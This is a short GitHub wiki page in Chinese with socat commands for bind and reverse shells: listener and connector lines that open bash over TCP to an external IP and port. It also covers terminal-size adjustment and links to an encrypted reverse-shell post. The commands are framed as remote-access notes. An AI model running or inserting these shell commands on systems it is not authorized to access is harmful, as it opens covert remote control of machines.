socat建立反弹shell - xiaohao0576/odoo-doc GitHub Wiki

正向shell连接

正向shell连接,类似与ssh服务器,受控端是有公网地址的,可以从互联网连接

步骤1,服务器端(被控制的机器): socat tcp-listen:端口,reuseaddr,fork exec:/bin/bash,pty,stderr,setsid,sigint,sane

步骤2,客户端(控制端): socat file:`tty`,raw,echo=0 tcp:服务器IP:端口

反向shell连接

受控的机器在内网,没有公网地址,需要主动向外网服务器发起连接

步骤1,外网服务器(控制端): socat file:`tty`,raw,echo=0 tcp-listen:端口,reuseaddr

步骤2,内网客户端(被控制的机器): socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:外网IP:端口

终端尺寸调整

默认终端大小是 (80x24),这个终端比较小,需要调节成和本地终端大小一样

先查看本地终端的尺寸

$ stty -a
speed 38400 baud; rows 40; columns 130; line = 0;

再设置远程终端的尺寸,和本地相同

$ stty rows 40 cols 130

加密远程shell

https://nasrallahbaadi.com/posts/Socat-Encrypted-reverse-shell/